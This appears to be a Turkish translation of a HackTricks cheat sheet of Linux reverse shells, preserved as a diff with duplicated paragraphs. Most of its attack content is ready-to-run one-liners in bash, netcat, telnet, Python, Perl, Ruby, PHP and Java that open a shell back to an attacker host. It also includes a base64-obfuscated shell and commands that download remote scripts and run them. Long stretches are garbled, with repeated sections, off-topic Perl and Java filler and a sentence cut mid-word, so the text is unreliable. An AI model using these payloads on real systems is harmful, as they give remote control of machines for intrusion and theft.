* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
En önemli güvenlik açıklarını bulun, böylece daha hızlı düzeltebilirsiniz. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
**Bu kabuklar hakkında herhangi bir sorunuz varsa** [**https://explainshell.com/**](https://explainshell.com) **adresinden kontrol edebilirsiniz.**
**Bu kabuklardan herhangi biri hakkında sorularınız varsa** [**https://explainshell.com/**](https://explainshell.com) **adresinden kontrol edebilirsiniz.**
## Tam TTY
**Ters kabuk elde ettiğinizde** [**tam bir TTY elde etmek için bu sayfayı okuyun**](full-ttys.md)**.**
**Ters kabuk aldıktan sonra** [**bu sayfayı tam TTY elde etmek için okuyun**](full-ttys.md)**.**
## Bash | sh
```bash
@ -41,9 +33,9 @@ exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5;
#after getting the previous shell to get the output to execute
exec >&0
```
### Güvenli sembol kabuğu
### Sembol güvenli kabuk
Bash dışında, diğer kabukları da kontrol etmeyi unutmayın: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh ve bash.
Diğer kabuklarla da kontrol etmeyi unutmayın: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh ve bash.
```bash
#If you need a more stable connection do:
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
@ -52,32 +44,32 @@ bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null
```
#### Shellıklaması
#### Kabukıklaması
1. **`bash -i`**: Bu komutun bu kısmı etkileşimli (`-i`) bir Bash kabuğu başlatır.
2. **`>&`**: Bu komutun bu kısmı, **standart çıktıyı** (`stdout`) ve **standart hata** (`stderr`) **aynı hedefe yönlendirmek** için kısa bir gösterimdir.
3. **`/dev/tcp/<SALDIRGAN-IP>/<PORT>`**: Bu, belirtilen IP adresi ve porta **bir TCP bağlantısını temsil eden özel bir dosyadır**.
* Komutun çıktı ve hata akışlarını bu dosyaya yönlendirerek, komut etkili bir şekilde etkileşimli kabuk oturumunun çıktısını saldırganın makinesine gönderir.
4. **`0>&1`**: Bu komutun bu kısmı, **standart girişi (`stdin`) standart çıktı (`stdout`) ile aynı hedefe yönlendirir**.
2. **`>&`**: Bu komutun bu kısmı, **standart çıktı** (`stdout`) ve **standart hata** (`stderr`) çıktılarını **aynı hedefe yönlendirmek** için kısayol bir gösterimdir.
3. **`/dev/tcp/<SALDIRGAN-IP>/<PORT>`**: Bu, belirtilen IP adresine ve porta **TCP bağlantısını temsil eden özel bir dosyadır**.
* Çıktı ve herror akışlarını bu dosyaya yönlendirerek, komut etkili bir şekilde etkileşimli kabuk oturumunun çıktısını saldırganın makinesine gönderir.
4. **`0>&1`**: Bu komutun bu kısmı, **standart girişi (`stdin`) standart çıktıya (`stdout`)** aynı hedefe yönlendirir.
### Dosyada oluştur ve çalıştır
```bash
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
```
## İleriye Dönük Kabuk
## İleri Yönlü Kabuk
Linux tabanlı bir web uygulamasında bir **RCEığı** ile karşılaşırsanız, Iptables kuralları veya diğer filtrelerin varlığı nedeniyle **ters kabuk elde etmek zorlaşabilir**. Bu tür senaryolarda, borular kullanarak kompromize edilmiş sistem içinde bir PTY kabuğu oluşturmayı düşünebilirsiniz.
Eğer bir Linux tabanlı web uygulamasında bir **RCE güvenlikığı** ile karşılaşırsanız, Iptables kuralları veya diğer filtrelerin varlığı nedeniyle **ters kabuk elde etmek zorlaşabilir**. Bu tür senaryolarda, pipes kullanarak kompromize edilmiş sistem içinde bir PTY kabuk oluşturmayı düşünebilirsiniz.
Kodu [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell) adresinde bulabilirsiniz.
Sadece aşağıdakileri değiştirmeniz gerekmektedir:
Sadece şunları değiştirmeniz gerekmektedir:
* Zafiyetli ana bilgisayarın URL'si
* Yükünüzün ön eki ve soneki (varsa)
* Yükünüzün ön ek ve sonekleri (varsa)
* Yükün nasıl gönderildiği (başlıklar mı? veri mi? ek bilgi mi?)
Ardından, sadece **komutlar gönderebilir** veya hatta **tam bir PTY elde etmek için `upgrade` komutunu kullanabilirsiniz** (boruların okunması ve yazılması yaklaşık 1.3 saniye gecikmeyle gerçekleşir).
Daha sonra, sadece **komutlar gönderebilirsiniz** veya hatta tam bir PTY almak için `upgrade` komutunu **kullanabilirsiniz** (pipes'lar yaklaşık 1.3 saniyelik bir gecikme ile okunur ve yazılır).
## Netcat
```bash
@ -93,11 +85,9 @@ rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <
```bash
bash -c "$(curl -fsSL gsocket.io/x)"
```
Telnet, bir ağ protokolüdür ve bir bilgisayarın uzaktan başka bir bilgisayara bağlanmasını sağlar. Telnet, bir komut satırı arabirimi kullanarak uzak bir sunucuya erişim sağlar. Bu protokol, birçok işletim sistemi tarafından desteklenir ve genellikle ağ cihazlarına yönetici erişimi sağlamak için kullanılır.
## Telnet
Telnet, TCP/IP protokol yığını üzerinde çalışır ve varsayılan olarak 23 numaralı portu kullanır. Bir telnet istemcisi, bir sunucuya bağlanmak için IP adresi veya alan adı ve port numarası gibi gerekli bilgileri sağlar. Bağlantı kurulduktan sonra, kullanıcı komutları sunucuya gönderebilir ve sunucudan yanıtlar alabilir.
Telnet, verileri şifrelemediği için güvenlik açığına sahiptir. Bu nedenle, güvenli bir bağlantı sağlamak için SSH (Secure Shell) gibi daha güvenli alternatifler tercih edilmelidir. Ancak, bazı durumlarda, özellikle ağ cihazlarına erişim sağlamak için hala kullanılabilir.
Telnet, ağızdaki bir protokol olan TCP/IP üzerinden çalışan bir ağ protokolüdür. Telnet, bir bilgisayara uzaktan erişim sağlamak için kullanılır. Telnet, metin tabanlı bir protokol olduğundan, yalnızca metin tabanlı verileri iletebilir ve güvenlik açıklarına neden olabilir. Telnet yerine SSH gibi daha güvenli protokoller tercih edilmelidir.
```bash
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
@ -112,99 +102,11 @@ while true; do nc -l <port>; done
```
Komutu göndermek için yazın, enter tuşuna basın ve CTRL+D'ye basın (STDIN'i durdurmak için)
**Hedef**
**Kurban**
```bash
export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done
```
## Python
Python, düşük seviyeli bir dildir ve birçok hedefte kullanılabilir. Bir hedefe erişim sağlandığında, Python kullanarak hedef sistemdeki işlemleri otomatikleştirebilir ve kontrol edebilirsiniz.
### Python Geri Bağlantı Kabuğu (Reverse Shell)
Python geri bağlantı kabuğu, hedef sistemde bir kabuk oluşturmanıza olanak tanır ve bu kabuk üzerinden hedef sistemde komutlar çalıştırabilirsiniz. Geri bağlantı kabuğu, hedef sistemde bir Python betiği çalıştırarak veya bir Python betiği yükleyerek oluşturulabilir.
#### Geri Bağlantı Kabuğu Oluşturma
Python geri bağlantı kabuğu oluşturmak için aşağıdaki adımları izleyebilirsiniz:
1. Hedef sistemde bir Python betiği oluşturun veya bir Python betiği yükleyin.
2. Python betiğinde, hedef sistemde bir soket oluşturun ve belirli bir port üzerinden bağlantıları dinleyin.
3. Bağlantı geldiğinde, kabuk oluşturmak için bir alt süreç başlatın ve gelen verileri bu kabuğa yönlendirin.
4. Kabuk üzerinden komutlar çalıştırabilir ve sonuçları geri alabilirsiniz.
Örnek bir Python geri bağlantı kabuğu betiği aşağıdaki gibi olabilir:
```python
import socket
import subprocess
def create_shell():
# Hedef sistemde bir soket oluşturun ve belirli bir port üzerinden bağlantıları dinleyin
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.bind(('localhost', 1234))
listener.listen(1)
print('Bağlantı bekleniyor...')
# Bağlantı geldiğinde, kabuk oluşturmak için bir alt süreç başlatın ve gelen verileri bu kabuğa yönlendirin
connection, address = listener.accept()
print('Bağlantı alındı:', address)
while True:
command = connection.recv(1024).decode()
if command.lower() == 'exit':
break
# Komutu kabukta çalıştırın ve sonucu geri alın
output = subprocess.getoutput(command)
connection.send(output.encode())
connection.close()
create_shell()
```
#### Geri Bağlantı Kabuğuna Bağlanma
Python geri bağlantı kabuğuna bağlanmak için aşağıdaki adımları izleyebilirsiniz:
1. Kendi sistemizde bir Python betiği oluşturun veya indirin.
2. Python betiğinde, hedef sistemdeki IP adresini ve port numarasını belirtin.
3. Python betiğini çalıştırın ve hedef sistemdeki kabuğa bağlanın.
4. Bağlandıktan sonra, kabuk üzerinden komutlar gönderebilir ve sonuçları alabilirsiniz.
Örnek bir Python geri bağlantı kabuğu bağlantı betiği aşağıdaki gibi olabilir:
```python
import socket
def connect_shell():
# Hedef sistemdeki IP adresini ve port numarasını belirtin
target_ip = '192.168.1.100'
target_port = 1234
# Hedef sistemdeki kabuğa bağlanın
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect((target_ip, target_port))
while True:
command = input('Komut girin: ')
connection.send(command.encode())
if command.lower() == 'exit':
break
# Komutun sonucunu alın ve ekrana yazdırın
output = connection.recv(1024).decode()
print(output)
connection.close()
connect_shell()
```
Bu şekilde, Python kullanarak geri bağlantı kabuğu oluşturabilir ve hedef sistemde komutlar çalıştırabilirsiniz.
```bash
#Linux
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
@ -214,354 +116,21 @@ python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socke
```
## Perl
Perl, Practical Extraction and Reporting Language (Pratik Çıkarma ve Raporlama Dili) olarak da bilinir, genel amaçlı bir betikleme dilidir. Perl, Linux sistemlerinde sıklıkla kullanılan bir programlama dilidir ve birçok farklı amaç için kullanılabilir.
### Perl'i Çalıştırmak
Perl betiklerini çalıştırmak için aşağıdaki komutu kullanabilirsiniz:
```bash
perl script.pl
```
Burada `script.pl`, çalıştırmak istediğiniz Perl betiğinin adıdır.
### Perl Betiklerinde Kullanılan Temel Yapılar
Perl betiklerinde kullanılan temel yapılar şunlardır:
- Değişkenler: Perl'de değişkenler `$` işaretiyle başlar. Örneğin, `$name` bir değişkeni temsil eder.
- Koşullar: Perl'de koşullar `if`, `else` ve `elsif` ifadeleriyle kontrol edilir.
- Döngüler: Perl'de döngüler `for`, `while` ve `foreach` ifadeleriyle gerçekleştirilir.
- Fonksiyonlar: Perl'de fonksiyonlar `sub` ifadesiyle tanımlanır ve çağrılır.
### Perl ile Dosya İşlemleri
Perl, dosya işlemleri için birçok farklı fonksiyon sağlar. İşte bazı örnekler:
- Dosya okuma: `open`, `read` ve `close` fonksiyonları kullanılarak bir dosya okunabilir.
- Dosya yazma: `open`, `write` ve `close` fonksiyonları kullanılarak bir dosyaya yazılabilir.
- Dosya ekleme: `open`, `append` ve `close` fonksiyonları kullanılarak bir dosyaya veri eklenebilir.
### Perl ile Sistem Komutları Çalıştırma
Perl, sistem komutlarını çalıştırmak için `system` fonksiyonunu kullanır. Örneğin, aşağıdaki kod parçası, `ls` komutunu çalıştırır ve çıktısını ekrana yazdırır:
```perl
system("ls");
```
### Perl ile Veritabanı İşlemleri
Perl, veritabanı işlemleri için de kullanılabilir. Perl ile veritabanına bağlanmak ve sorguları çalıştırmak için `DBI` modülü kullanılır. İşte bir örnek:
```perl
use DBI;
my $dbh = DBI->connect("DBI:mysql:database=test;host=localhost", "username", "password");
my $sth = $dbh->prepare("SELECT * FROM users");
$sth->execute();
while (my $row = $sth->fetchrow_hashref) {
print "Name: $row->{name}, Age: $row->{age}\n";
}
$dbh->disconnect();
```
Bu örnekte, `DBI` modülü kullanılarak bir MySQL veritabanına bağlanılır, bir sorgu çalıştırılır ve sonuçlar ekrana yazdırılır.
### Perl ile Web Scraping
Perl, web scraping için de kullanılabilir. Web scraping, bir web sitesinden veri çekme işlemidir. Perl ile web scraping yapmak için `LWP::Simple` ve `HTML::TreeBuilder` modüllerini kullanabilirsiniz. İşte bir örnek:
```perl
use LWP::Simple;
use HTML::TreeBuilder;
my $url = "https://example.com";
my $content = get($url);
my $tree = HTML::TreeBuilder->new;
$tree->parse($content);
my @links = $tree->look_down(_tag => 'a');
foreach my $link (@links) {
print $link->attr('href') . "\n";
}
$tree->delete();
```
Bu örnekte, `LWP::Simple` modülü kullanılarak bir web sitesinden içerik alınır, `HTML::TreeBuilder` modülü kullanılarak içerik ağaca dönüştürülür ve ağaç üzerinde gezinerek bağlantıları ekrana yazdırılır.
### Perl ile Regex Kullanımı
Perl, regex (düzenli ifadeler) kullanımı için oldukça güçlü bir dil olarak bilinir. Perl ile regex kullanmak için `=~` operatörünü kullanabilirsiniz. İşte bir örnek:
```perl
my $string = "Hello, World!";
if ($string =~ /Hello/) {
print "Match found!\n";
} else {
print "No match found!\n";
}
```
Bu örnekte, `$string` değişkeni üzerinde `Hello` ifadesini arar ve eşleşme bulunursa "Match found!" yazdırır.
### Perl ile Socket Programlama
Perl, socket programlama için de kullanılabilir. Socket programlama, ağ üzerinde veri iletişimi sağlamak için kullanılan bir tekniktir. Perl ile socket programlama yapmak için `Socket` modülünü kullanabilirsiniz. İşte bir örnek:
```perl
use Socket;
my $host = "example.com";
my $port = 80;
socket(my $socket, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
my $ip = inet_aton($host);
my $address = sockaddr_in($port, $ip);
connect($socket, $address);
print $socket "GET / HTTP/1.1\r\nHost: $host\r\n\r\n";
while (my $line = <$socket>) {
print $line;
}
close($socket);
```
Bu örnekte, `Socket` modülü kullanılarak bir TCP soketi oluşturulur, belirtilen IP adresine ve port numarasına bağlanılır, bir HTTP GET isteği gönderilir ve yanıtı ekrana yazdırılır.
### Perl ile Sistem Günlüklerini İzleme
Perl, sistem günlüklerini izlemek için kullanılabilir. Sistem günlükleri, bir sistemde gerçekleşen olayların kaydedildiği dosyalardır. Perl ile sistem günlüklerini izlemek için `File::Tail` modülünü kullanabilirsiniz. İşte bir örnek:
```perl
use File::Tail;
my $file = "/var/log/syslog";
my $tail = File::Tail->new(name => $file, maxinterval => 1, adjustafter => 1);
while (defined(my $line = $tail->read)) {
print $line;
}
```
Bu örnekte, `File::Tail` modülü kullanılarak `/var/log/syslog` dosyası izlenir ve her yeni satır ekrana yazdırılır.
### Perl ile Hata Ayıklama
Perl, hata ayıklama için birçok farklı araç sağlar. İşte bazı örnekler:
- `use strict;` ve `use warnings;` ifadeleri, Perl betiğindeki hataları tespit etmek için kullanılır.
- `print` fonksiyonu, betikteki değişken değerlerini kontrol etmek için kullanılabilir.
- `Data::Dumper` modülü, betikteki veri yapılarını incelemek için kullanılabilir.
### Perl ile Sistem Bilgilerini Alma
Perl, sistem bilgilerini alma işlemleri için birçok farklı fonksiyon sağlar. İşte bazı örnekler:
- `uname` fonksiyonu, sistemdeki işletim sistemi bilgilerini döndürür.
- `getpwuid` fonksiyonu, kullanıcı kimliği (UID) kullanarak kullanıcı bilgilerini döndürür.
- `getgrgid` fonksiyonu, grup kimliği (GID) kullanarak grup bilgilerini döndürür.
### Perl ile Sistem Kaynaklarını Kontrol Etme
Perl, sistem kaynaklarını kontrol etmek için birçok farklı fonksiyon sağlar. İşte bazı örnekler:
- `getloadavg` fonksiyonu, sistem yükünü döndürür.
- `getrusage` fonksiyonu, sistem kaynak kullanımını döndürür.
- `times` fonksiyonu, işlem süresini döndürür.
### Perl ile Şifreleme ve Şifre Çözme
Perl, şifreleme ve şifre çözme işlemleri için birçok farklı modül sağlar. İşte bazı örnekler:
- `Crypt::CBC` modülü, CBC (Cipher Block Chaining) şifreleme modunu sağlar.
- `Digest::MD5` modülü, MD5 (Message Digest Algorithm 5) şifreleme algoritmasını sağlar.
- `Crypt::OpenSSL::AES` modülü, AES (Advanced Encryption Standard) şifreleme algoritmasını sağlar.
### Perl ile Ağ İletişimi
Perl, ağ iletişimi için birçok farklı modül sağlar. İşte bazı örnekler:
- `IO::Socket::INET` modülü, TCP/IP üzerinden ağ iletişimi sağlar.
- `Net::Ping` modülü, ICMP (Internet Control Message Protocol) üzerinden ağ ping işlemleri yapar.
- `Net::SMTP` modülü, SMTP (Simple Mail Transfer Protocol) üzerinden e-posta gönderme işlemleri yapar.
### Perl ile XML İşleme
Perl, XML işleme için birçok farklı modül sağlar. İşte bazı örnekler:
- `XML::Simple` modülü, XML dosyalarını okumak ve yazmak için kullanılır.
- `XML::LibXML` modülü, XML dosyalarını ayrıştırmak ve düzenlemek için kullanılır.
- `XML::XPath` modülü, XML dosyalarında XPath ifadeleri kullanarak veri aramak için kullanılır.
### Perl ile JSON İşleme
Perl, JSON işleme için birçok farklı modül sağlar. İşte bazı örnekler:
- `JSON` modülü, JSON verilerini dönüştürmek için kullanılır.
- `JSON::XS` modülü, JSON verilerini hızlı bir şekilde dönüştürmek için kullanılır.
- `JSON::Parse` modülü, JSON verilerini ayrıştırmak için kullanılır.
### Perl ile E-posta İşleme
Perl, e-posta işleme için birçok farklı modül sağlar. İşte bazı örnekler:
- `Email::Sender` modülü, e-posta gönderme işlemleri yapar.
- `Email::MIME` modülü, e-posta mesajlarını oluşturmak ve ayrıştırmak için kullanılır.
- `Email::Simple` modülü, e-posta mesajlarını oluşturmak ve ayrıştırmak için kullanılır.
### Perl ile Web Sunucusu Oluşturma
Perl, web sunucusu oluşturma için kullanılabilir. Perl ile web sunucusu oluşturmak için `HTTP::Server::Simple` modülünü kullanabilirsiniz. İşte bir örnek:
```perl
use HTTP::Server::Simple;
my $server = HTTP::Server::Simple->new();
$server->run();
```
Bu örnekte, `HTTP::Server::Simple` modülü kullanılarak bir web sunucusu oluşturulur ve çalıştırılır.
### Perl ile GUI Uygulamaları Geliştirme
Perl, GUI (Graphical User Interface) uygulamaları geliştirmek için birçok farklı modül sağlar. İşte bazı örnekler:
- `Tk` modülü, Perl/Tk arayüz kitaplığını sağlar.
- `Wx` modülü, WxWidgets arayüz kitaplığını sağlar.
- `Gtk2` modülü, GTK+ arayüz kitaplığını sağlar.
### Perl ile Web Servisleri Geliştirme
Perl, web servisleri geliştirmek için birçok farklı modül sağlar. İşte bazı örnekler:
- `SOAP::Lite` modülü, SOAP (Simple Object Access Protocol) tabanlı web servisleri geliştirmek için kullanılır.
- `XML::Compile::SOAP` modülü, SOAP tabanlı web servisleri geliştirmek için kullanılır.
- `REST::Client` modülü, RESTful web servisleri geliştirmek için kullanılır.
### Perl ile Veri Analizi ve İstatistik
Perl, veri analizi ve istatistik işlemleri için birçok farklı modül sağlar. İşte bazı örnekler:
- `Statistics::Descriptive` modülü, istatistiksel hesaplamalar yapmak için kullanılır.
- `Data::Dumper` modülü, veri yapılarını incelemek için kullanılır.
- `Text::CSV` modülü, CSV (Comma-Separated Values) dosyalarını okumak ve yazmak için kullanılır.
### Perl ile Veri Tabanı Bağlantısı
Perl, veri tabanlarına bağlanmak için birçok farklı modül sağlar. İşte bazı örnekler:
- `DBI` modülü, veri tabanlarına bağlanmak ve sorguları çalıştırmak için kullanılır.
- `DBD::mysql` modülü, MySQL veri tabanına bağlanmak için kullanılır.
- `DBD::Pg` modülü, PostgreSQL veri tabanına bağlanmak için kullanılır.
### Perl ile Dosya İşlemleri
Perl, dosya işlemleri için birçok farklı fonksiyon sağlar. İşte bazı örnekler:
- Dosya okuma: `open`, `read` ve `close` fonksiyonları kullanılarak bir dosya okunabilir.
- Dosya yazma: `open`, `write` ve `close` fonksiyonları kullanılarak bir dosyaya yazılabilir.
- Dosya ekleme: `open`, `append` ve `close` fonksiyonları kullanılarak bir dosyaya veri eklenebilir.
### Perl ile Sistem Komutları Çalıştırma
Perl, sistem komutlarını çalıştırmak için `system` fonksiyonunu kullanır. Örneğin, aşağıdaki kod parçası, `ls` komutunu çalıştırır ve çıktısını ekrana yazdırır:
```perl
system("ls");
```
### Perl ile Veritabanı İşlemleri
Perl, veritabanı işlemleri için de kullanılabilir. Perl ile veritabanına bağlanmak ve sorguları çalıştırmak için `DBI` modülü kullanılır. İşte bir örnek:
```perl
use DBI;
my $dbh = DBI->connect("DBI:mysql:database=test;host=localhost", "username", "password");
my $sth = $dbh->prepare("SELECT * FROM users");
$sth->execute();
while (my $row = $sth->fetchrow_hashref) {
print "Name: $row->{name}, Age: $row->{age}\n";
}
$dbh->disconnect();
```
Bu örnekte, `DBI` modülü kullanılarak bir MySQL veritabanına bağlanılır, bir sorgu çalıştırılır ve sonuçlar ekrana yazdırılır.
### Perl ile Web Scraping
Perl, web scraping için de kullanılabilir. Web scraping, bir web sitesinden veri çekme işlemidir. Perl ile web scraping yapmak için `LWP::Simple` ve `HTML::TreeBuilder` modüllerini kullanabilirsiniz. İşte bir örnek:
```perl
use LWP::Simple;
use HTML::TreeBuilder;
my $url = "https://example.com";
my $content = get($url);
my $tree = HTML::TreeBuilder->new;
$tree->parse($content);
my @links = $tree->look_down(_tag => 'a');
foreach my $link (@links) {
print $link->attr('href') . "\n";
}
$tree->delete();
```
Bu örne
Perl, birçok Linux dağıtımında varsayılan olarak yüklü gelen bir programlama dilidir. Perl betikleri, Linux üzerinde hızlı ve etkili bir şekilde çalıştırılabilir. Perl, sistem yönetimi ve ağ programlama gibi çeşitli alanlarda kullanılan güçlü bir dil olarak bilinir.
```bash
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```
## Ruby
Ruby, birçok programlama diline benzer bir şekilde, Linux kabuğunda da kullanılabilir. Ruby, Linux sistemlerindeki birçok görevi otomatikleştirmek için kullanılan bir betikleme dilidir. Ruby betikleri, Linux kabuğunda çalıştırılabilecek komut dosyalarıdır.
Ruby betiklerini Linux kabuğunda çalıştırmak için aşağıdaki adımları izleyebilirsiniz:
1. Ruby yüklü olmalıdır. Eğer yüklü değilse, `sudo apt-get install ruby` komutunu kullanarak Ruby'yi yükleyebilirsiniz.
2. Ruby betiğini oluşturun veya mevcut bir Ruby betiğini düzenleyin. Betiğinizi `.rb` uzantısıyla kaydedin.
3. Betiği çalıştırmak için aşağıdaki komutu kullanın:
```bash
ruby betik_adi.rb
```
Burada `betik_adi.rb`, çalıştırmak istediğiniz Ruby betiğinin adıdır.
Ruby betikleri, Linux kabuğunda birçok farklı görevi gerçekleştirmek için kullanılabilir. Örneğin, dosya işlemleri yapabilir, sistem komutlarını çalıştırabilir, ağ bağlantıları oluşturabilir ve veritabanlarına erişebilirsiniz.
Ruby'nin Linux kabuğunda kullanılması, otomasyon ve hızlı görev gerçekleştirme açısından büyük avantajlar sağlar. Bu nedenle, Ruby betiklerini kullanarak Linux sistemlerindeki işlerinizi kolaylaştırabilirsiniz.
Ruby, açık kaynaklı, nesne yönelimli bir programlama dilidir. Ruby, basit ve okunabilir sözdizimi ile dikkat çeker. Ruby programlama dili, Ruby on Rails çerçevesi ile web uygulamaları geliştirmek için sıkça kullanılır.
```bash
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```
## PHP
PHP, Hypertext Preprocessor olarak da bilinen, web geliştirme için yaygın olarak kullanılan bir programlama dilidir. PHP, sunucu taraflı bir dil olduğu için, sunucuda çalıştırılır ve sonuçlar web tarayıcısına gönderilir. PHP, dinamik web sayfaları oluşturmak için kullanılır ve HTML ile kolayca birleştirilebilir.
PHP, birçok farklı işlevi destekler ve veritabanı bağlantıları, dosya işlemleri, form işleme ve daha fazlası gibi yaygın web geliştirme görevlerini kolaylaştırır. Ayrıca, PHP'nin geniş bir kullanıcı tabanı vardır ve çevrimiçi olarak birçok kaynak ve topluluk bulunmaktadır.
PHP, güvenlik açıklarına karşı hassas olabilir, bu nedenle güvenli kodlama uygulamalarını bilmek önemlidir. Örneğin, kullanıcı girişi gibi verileri doğrulamak ve güvenli bir şekilde işlemek önemlidir. Ayrıca, güncellemeleri takip etmek ve güvenlik yamalarını uygulamak da önemlidir.
PHP, birçok popüler CMS (İçerik Yönetim Sistemi) ve e-ticaret platformu tarafından desteklenir. Bu nedenle, PHP'yi öğrenmek ve web geliştirme projelerinde kullanmak, geniş bir kullanım alanı sunar.
PHP, web siteleri ve uygulamaları geliştirmek için yaygın olarak kullanılan bir betik dildir. Sunucu taraflı bir dil olan PHP, dinamik içerik oluşturmak için sıklıkla kullanılır. PHP kodu, HTML içine gömülebilir veya dışarıdan çağrılabilir. Güçlü veritabanı entegrasyonu ve geniş kütüphane desteği PHP'yi popüler bir seçim haline getirir.
```php
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
@ -575,102 +144,20 @@ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
```
## Java
Java, bir nesne yönelimli programlama dilidir. 1995 yılında Sun Microsystems tarafından geliştirilmiştir. Java, platform bağımsız bir dil olarak bilinir, yani Java kodu, farklı işletim sistemlerinde çalışabilir. Java, güçlü bir yazılım geliştirme aracı olan Java Development Kit (JDK) ile birlikte gelir.
Java, birçok farklı uygulama alanında kullanılabilir. Özellikle büyük ölçekli kurumsal uygulamalar, mobil uygulamalar, oyunlar ve web uygulamaları için tercih edilir. Java, güvenlik, performans ve taşınabilirlik açısından da avantajlara sahiptir.
Java, nesne yönelimli programlama prensiplerine dayanır. Nesneler, sınıflar tarafından tanımlanan özellikler ve davranışlarla temsil edilir. Java, zengin bir standart kütüphane sunar ve bu kütüphane, geliştiricilere birçok hazır bileşen ve işlev sağlar.
Java, platform bağımsızlığını JVM (Java Virtual Machine) sayesinde elde eder. JVM, Java kodunu farklı işletim sistemlerinde çalıştırmak için kullanılır. Java kodu, önce JVM tarafından derlenir ve ardından JVM tarafından çalıştırılır.
Java, güvenlik açısından da önemli bir dildir. Java, otomatik bellek yönetimi ve güvenlik kontrolleri gibi özelliklerle donatılmıştır. Bu özellikler, hafıza sızıntıları ve güvenlik açıklarının önlenmesine yardımcı olur.
Java, geniş bir topluluğa sahiptir ve bu topluluk, geliştiricilere destek ve kaynak sağlar. Java, sürekli olarak güncellenir ve geliştirilir, bu da yeni özelliklerin ve iyileştirmelerin düzenli olarak sunulmasını sağlar.
Java, öğrenmesi kolay bir dil değildir, ancak güçlü bir dil olduğu için öğrenmeye değerdir. Java, karmaşık uygulamaları kolayca geliştirmek için kullanılan birçok araç ve çerçeve sunar.
Java, geniş bir iş imkanı yelpazesine sahiptir. Java bilen birçok şirket, Java geliştiricilerine ihtiyaç duyar. Java, yüksek performanslı, güvenli ve taşınabilir uygulamalar geliştirmek için tercih edilen bir dil olarak popülerliğini korumaktadır.
Java, Oracle Corporation tarafından geliştirilen ve popüler bir programlama dilidir. Java, platform bağımsızdır ve genellikle yazılım geliştirme, web uygulamaları, oyunlar, mobil uygulamalar ve büyük veri işleme gibi çeşitli alanlarda kullanılır. Java, nesne yönelimli bir dil olarak bilinir ve geniş bir kütüphane desteği sunar. Java uygulamaları genellikle Java Sanal Makinesi (JVM) üzerinde çalıştırılır.
```bash
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
```
## Ncat
Ncat, a.k.a. Netcat, is a powerful networking utility that allows for reading from and writing to network connections using TCP or UDP protocols. It can be used for various purposes, including port scanning, file transfer, and remote administration.
### Installation
Ncat is usually pre-installed on Linux distributions. If it is not available, you can install it using the package manager of your distribution. For example, on Debian-based systems, you can use the following command:
```bash
sudo apt-get install ncat
```
### Basic Usage
To establish a TCP connection to a remote host, you can use the following command:
```bash
ncat <host> <port>
```
For example, to connect to a web server running on `example.com` on port `80`, you can use:
```bash
ncat example.com 80
```
Once the connection is established, you can interact with the remote host by typing commands or sending data.
### Port Scanning
Ncat can also be used for port scanning. To scan a range of ports on a remote host, you can use the following command:
```bash
ncat -v -z <host> <start-port>-<end-port>
```
